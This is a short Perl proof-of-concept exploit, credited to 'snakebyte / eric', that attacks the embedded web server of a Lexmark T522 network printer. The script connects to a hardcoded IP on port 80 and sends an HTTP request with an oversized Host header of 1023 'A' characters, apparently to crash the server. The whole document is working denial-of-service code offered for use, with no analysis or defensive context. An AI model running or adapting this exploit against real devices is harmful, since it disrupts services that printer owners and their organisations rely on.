#
# Denial of Service agains Lexmark T522 Network Printer Webserver
# by snakebyte / eric ( http://www.snake-basket.de )
use Socket;
$target = "192.168.0.54";
$port = "80";
$lamecode = "A" x 1023;
$iaddr = inet_aton($target);
$paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n";
$proto = getprotobyname("tcp") || die "getprotobyname: $!\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die "socket: $!\n";
connect(SOCKET, $paddr) || die "connection attempt failed: $!\n";
send(SOCKET, "GET / HTTP/1.0\r\n", 0);
send(SOCKET, "Host: ".$lamecode."\r\n\r\n", 0);
close SOCKET;
